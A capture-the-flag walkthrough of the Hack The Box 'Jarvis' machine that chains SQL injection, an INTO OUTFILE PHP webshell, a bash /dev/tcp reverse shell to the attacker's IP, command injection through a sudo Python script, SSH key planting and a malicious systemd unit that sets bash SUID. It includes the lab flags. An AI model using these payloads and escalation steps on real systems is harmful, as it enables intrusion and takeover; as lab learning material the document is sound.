Jarvis — HTB Writeup¶
- IP: 10.129.10.160 (rotated to 10.129.229.137 on later sessions)
- OS: Linux (Debian 9 "stretch")
- Difficulty: Medium
- Date started: 2026-06-06
- Date rooted: 2026-06-20
- Flags: User ✓ | Root ✓
- user.txt:
e9d237221e586eb5218da98fc80fcf55 - root.txt:
3a72bb5d8b34634df1167e828c9aa750
TL;DR: SQLi (room.php?cod) → UNION dump → MySQL FILE priv → INTO OUTFILE PHP webshell (www-data) → reverse shell upgrade → sudo -u pepper simpler.py -p command injection → pepper SSH → pepper sudo systemctl malicious unit → SUID bash → root.
Stage 1 — Enumeration¶
1.1 Full TCP port scan¶
nmap -p- --min-rate 3000 -Pn -oA nmap/jarvisNmapOpenPorts $IP
Flags/Notes:
- -p- — scan all 65,535 TCP ports (not just the default top 1000), so nothing high/unusual gets missed.
- --min-rate 3000 — push at least 3000 packets/sec; speeds up the full sweep (finished in ~14s).
- -Pn — skip host discovery (ping); treat the host as up. HTB boxes often drop ICMP, so -Pn avoids a false "host down."
- -oA nmap/jarvisNmapOpenPorts — write all three output formats (.nmap, .gnmap, .xml) with that basename.
Key Output:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
64999/tcp open unknown
Decision: Three open ports. SSH (22) is rarely the way in without creds. Two HTTP-ish services (80 and the unusual high port 64999) → web is the primary attack surface. Pulled the open-port list into a $ports var to feed the targeted scan:
ports=$(awk '/^[0-9]+\/tcp/ {print $1}' nmap/jarvisNmapOpenPorts.nmap | cut -d/ -f1 | paste -sd,)
1.2 Service / version + default scripts¶
nmap -p$ports -sSCV --min-rate=2000 -Pn -oN nmap/jarvisNmapServicesVersions.txt $IP
Flags/Notes:
- -p$ports — only the ports found open above (22,80,64999); no wasted time.
- -sS — SYN ("half-open") scan; fast, default for privileged scans.
- -sC — run the default NSE script set (banner grabbing, common checks).
- -sV — service/version detection.
- -oN — normal human-readable output to the named file.
Key Output:
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-title: Stark Hotel
|_http-cookie-flags: PHPSESSID: httponly flag not set
64999/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-title: Site doesn't have a title (text/html).
Analysis:
- OpenSSH 7.4p1 / Apache 2.4.25 / Debian 9 ("stretch") — old stack, fits a Medium box. No obvious version-based RCE on these.
- Port 80 — "Stark Hotel" — a PHP app (PHPSESSID cookie present). The httponly flag not being set is a minor finding, but the bigger signal is PHP + dynamic site = likely SQLi / parameter injection surface. This is our main path.
- Port 64999 — another Apache instance, no title. Worth a manual look (curl), but lower priority than the hotel site.
- Theme is Iron Man / Stark — flavor, not a hint yet.
1.3 Hostname / DNS check¶
dig @10.129.10.160
nslookup $IP
dig -x $IP
Notes: Checked whether the box advertises a hostname (for vhost routing) and whether reverse DNS resolves. (Pending: record result — did a jarvis.htb style name surface, or is the app served directly on the IP?)
Attack Surface Summary¶
| Port | Service | Version | Priority | Why |
|---|---|---|---|---|
| 22 | SSH | OpenSSH 7.4p1 | Low | No creds yet; not an entry without them |
| 80 | HTTP | Apache 2.4.25 — "Stark Hotel" (PHP) | High | Dynamic PHP app → SQLi/param injection likely |
| 64999 | HTTP | Apache 2.4.25 — no title | Medium | Second web service, unexamined |
1.4 Port 64999 — the WAF¶
curl -i http://$IP:64999/
Key Output: the second Apache serves an IronWAF 2.0.3 ban/notice page. searchsploit ironwaf returned nothing. This port is a rabbit hole on Jarvis — note it and move on. The real path is the SQLi on :80.
Stage 2 — Foothold: SQL Injection on room.php¶
2.1 Finding the injectable parameter¶
The Stark Hotel app links rooms via room.php?cod=N. A numeric parameter feeding a PHP/MySQL lookup is the #1 SQLi candidate.
curl -s "http://$IP/room.php?cod=1" -o /dev/null -w "%{http_code} %{size_download}\n" # baseline
curl -s "http://$IP/room.php?cod=1'" -o /dev/null -w "%{http_code} %{size_download}\n" # break the query
Flags/Notes:
- -o /dev/null -w "%{size_download}" — discard body, print response size. A size diff between true/false conditions is the boolean-SQLi oracle.
2.2 Column count + reflected positions¶
http://$IP/room.php?cod=7 UNION ALL SELECT 1,'col2',1337,VERSION(),user(),6,7-- -
- 7 columns. Reflected output positions: 2 (room title), 3 (price), 4, 5.
VERSION()→10.1.48-MariaDB-0+deb9u2user()→DBadmin@localhost← privileged-sounding MySQL account.
Notes:
- Use an invalid cod (e.g. cod=0) so only the injected UNION row returns — cleaner reads.
- -- - MySQL comment (trailing space required).
2.3 Schema enumeration with group_concat¶
# all databases
...UNION ALL SELECT 1,(SELECT group_concat(schema_name SEPARATOR ', ') FROM information_schema.schemata),1337,4,5,6,7-- -
# tables across all schemas (database.table pairs via 0x2e = '.')
...UNION ALL SELECT 1,(SELECT group_concat(table_schema,0x2e,table_name SEPARATOR '<br>') FROM information_schema.tables WHERE table_schema!='information_schema'),1337,4,5,6,7-- -
- The app schema holds a single table:
room— no appuserstable. (Dead end: dumping app creds is NOT the path.) - Key pivot: instead of mining data, check what the DB user can do.
2.4 Confirming FILE privilege — the real lever¶
...UNION ALL SELECT 1,(SELECT group_concat(grantee,0x3a,privilege_type) FROM information_schema.user_privileges),1337,4,5,6,7-- -
Key Output: 'DBadmin'@'localhost':FILE
FILE = read and write files on disk via SQL. This converts SQLi → RCE.
Stage 3 — SQLi → RCE: INTO OUTFILE webshell¶
3.1 Hex-encode the payload (avoids quote/URL escaping hell)¶
echo -n '<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?>' | xxd -p | tr -d '\n'
3.2 Write the webshell with unhex() + INTO OUTFILE¶
http://$IP/room.php?cod=0 UNION ALL SELECT 1,unhex('3c3f...3f3e'),3,4,5,6,7 INTO OUTFILE '/var/www/html/yourmom.php'-- -
Flags/Notes:
- unhex('...') (or 0x...) — MySQL accepts a hex literal anywhere a string goes; no nested quotes needed.
- INTO OUTFILE '/var/www/html/...' — /var/www/html is the Debian/Apache docroot, writable by mysql here. File gets tab-separated junk around the PHP — harmless.
- Page renders blank (OUTFILE returns no rows). Success = the file existing, not the response.
3.3 Trigger RCE¶
curl "http://$IP/yourmom.php?cmd=id" # uid=33(www-data)
$_REQUEST means the shell works via GET or POST.
Stage 4 — www-data → pepper: simpler.py command injection¶
4.1 Enumerate sudo rights as www-data¶
curl "http://$IP/yourmom.php?cmd=sudo -l"
Key Output:
(pepper) NOPASSWD: /var/www/Admin-Utilities/simpler.py
simpler.py as pepper with no password.
4.1b Upgrade the webshell → interactive reverse shell¶
The ?cmd= webshell is stateless (one command per request) — no good for an interactive prompt like simpler.py's "Enter an IP:". Upgrade to a real shell first.
Attacker — start listener:
rlwrap nc -lnvp 42069
Trigger from the webshell (browser address bar / curl) — bash -c wrapped, URL-encoded:
curl "http://$IP/yourmom.php" --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.175/42069 0>&1'"
Flags/Notes:
- bash -c '...' — system() in the webshell runs via sh/dash, which has no /dev/tcp. Wrapping in bash -c forces bash so the /dev/tcp redirect works.
- 10.10.14.175 = attacker tun0 IP (NOT the 10.129 target subnet). Getting this wrong is why the first attempts logged Connection refused.
- rlwrap — gives the caught shell history/arrow-key editing (handy for the interactive simpler.py prompt).
Key Output (listener):
connect to [10.10.14.175] from (UNKNOWN) [10.129.229.137] 43514
www-data@jarvis:/$
Lesson: the browser address bar isn't logged by tmux — this whole step was missing from the notes on first pass. When a step happens outside the terminal (browser, Burp, GUI), jot it manually or it vanishes from the record.
4.2 The vulnerable code path (-p ping option)¶
(run from the interactive www-data reverse shell above, not the ?cmd= webshell)
simpler.py -p prompts Enter an IP: and builds a shell command from the input. Input is passed to os.system("ping -c 1 " + ...)-style — a classic command injection. The script tries to blacklist some chars but misses command substitution.
sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
# Enter an IP: $(bash)
$(bash) spawns an interactive shell as pepper.
Note (lesson): reverse-shell payloads (bash -i >& /dev/tcp/IP/PORT 0>&1) returned Connection refused — the listener IP/port wasn't reachable at the time. Pivoted to a local interactive shell via $(bash) instead, which sidesteps callback issues entirely.
4.3 Stable access via SSH key¶
As pepper (via $(bash)), generated a keypair, appended the pubkey to authorized_keys, and read out the private key:
# inside the pepper shell
ssh-keygen -f /home/pepper/.ssh/id_rsa # (followed prompts)
cat /home/pepper/.ssh/id_rsa.pub >> /home/pepper/.ssh/authorized_keys
cat /home/pepper/.ssh/id_rsa # copy this out
On attacker box:
chmod 600 pepper.key
ssh -i pepper.key pepper@$IP
user.txt: e9d237221e586eb5218da98fc80fcf55
Stage 5 — pepper → root: sudo systemctl malicious unit¶
5.1 pepper's sudo rights¶
sudo -l # (root) NOPASSWD: /bin/systemctl
pepper can run /bin/systemctl as root → we can install and start an arbitrary systemd service that runs as root.
5.2 Craft a malicious unit¶
~/yourMom.service:
[Unit]
Description=root
[Service]
Type=simple
ExecStart=/usr/bin/chmod u+s /bin/bash
[Install]
WantedBy=multi-user.target
Critical detail: ExecStart must use an absolute path (/usr/bin/chmod, not chmod) — systemd errored with "Executable path is not absolute" on the first attempt.
5.3 Install, enable, start → SUID bash¶
sudo /bin/systemctl enable /home/pepper/yourMom.service # creates symlinks into /etc/systemd/system
sudo /bin/systemctl start yourMom.service # runs ExecStart as root
/bin/bash -p # SUID bash → euid root
chmod u+s /bin/bash runs as root → /bin/bash -p keeps the elevated euid → bash-4.4#.
root.txt: 3a72bb5d8b34634df1167e828c9aa750
Attack Surface Summary¶
| Port | Service | Version | Role in chain |
|---|---|---|---|
| 22 | SSH | OpenSSH 7.4p1 | Stable pepper access after key plant |
| 80 | HTTP | Apache 2.4.25 — "Stark Hotel" (PHP) | SQLi → RCE foothold |
| 64999 | HTTP | Apache 2.4.25 — IronWAF 2.0.3 | Rabbit hole |
Lessons Learned¶
- Two HTTP services on a box = compare them; the "boring/no-title" port (here IronWAF on 64999) can be a rabbit hole — don't over-invest before testing the obvious app.
- A numeric
?cod=/?id=parameter on PHP+MySQL is the #1 SQLi candidate — quote-test before anything fancy;curl -w "%{size_download}"is a poor-man's boolean oracle. group_concat()collapses many rows into one reflected field — the core trick for fast manual UNION enumeration.- A blank UNION result usually means the subquery matched zero rows (wrong table/column name), not that injection broke. Derive names from the prior enum step; never guess (
table_name='users'failed because the only table wasroom). - Once the app schema has no creds, pivot from data to capability: check
information_schema.user_privilegesforFILE→LOAD_FILE(read) +INTO OUTFILE(write webshell) = SQLi-to-RCE. - Hex-encode (
unhex()/0x...) any payload with quotes forINTO OUTFILE— kills nested-quote and URL-escaping problems. - After a webshell, the first three commands are
id,sudo -l,cat /etc/passwd— they decide the whole privesc route. - When a reverse shell won't connect, a local
$(bash)off a command-injection often works just as well for an interactive shell; then plant an SSH key for stability. sudo systemctl(or any service-manager run as root) = trivial root: write a unit withExecStart=/usr/bin/chmod u+s /bin/bash,enable+start, thenbash -p.ExecStartmust be an absolute path.